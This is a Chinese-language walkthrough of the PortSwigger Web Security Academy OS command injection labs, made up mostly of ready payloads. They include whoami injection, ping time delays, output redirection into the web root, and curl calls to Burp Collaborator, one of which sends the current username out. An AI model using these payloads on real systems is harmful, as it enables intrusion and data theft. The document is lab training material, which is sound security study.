Portswigger web security academy:OS command injection
- 环境
- OS command injection, simple case
- Blind OS command injection with time delays
- Blind OS command injection with output redirection
- Blind OS command injection with out-of-band interaction
- Blind OS command injection with out-of-band data exfiltration
环境
本次推荐的模拟环境如下:https://portswigger.net/web-security
邮箱注册登录
https://portswigger.net/web-security/all-labs
找到OS command injection
OS command injection, simple case
点一个产品进行浏览进行抓包
storeId=1|whoami
Blind OS command injection with time delays
email=真实邮箱||ping±c+10+127.0.0.1||
email=dzs12237%40yuoia.com||ping±c+10+127.0.0.1||
Blind OS command injection with output redirection
https://0a64000404d1dde5c11999cc008e00f7.web-security-academy.net/image?filename=output.txt
email=dzs12237%40yuoia.com||whoami>/var/www/images/outpu.txt||
Blind OS command injection with out-of-band interaction
在feedback功能点存在命令注入(盲注) 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band) 要求执行一个DNS lookup,(利用 collaborator)
反馈你提交,抓包邮箱处构造
直接构造payload
||curl%20xxx.burpcollaborator.net||即可
burp Collaborator 使用:
有的自带无需安装
较低版本的burp 的 extender 下的 bapp store 找到 Collaborator 安装即可。安装后,首先需要设置下我们使用的服务器是官方默认提供的,在 project options-misc-burp collaborator server 下,选择第一个默认官方服务即可,第二个是关闭 collaborator,第三个是使用自己的服务器。如下图。
点击 Run health check 可以测试外带服务器服务是否正常
csrf=gtMV2Hk0lrSVfIw2gPwBfCqKIqsdzcsW&name=11&email=bxn55019%40yuoia.com||curl b9l.burpcollaborator.net||&subject=11&message=11
Blind OS command injection with out-of-band data exfiltration
在feedback功能点存在命令注入(盲注) 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果 要求通过外带获得当前用户名
email=333432%40qq.com||a=whoami;curl%20xlmor0wswc5r80n4ol6zncqio9u3is.burpcollaborator.net/`$a`||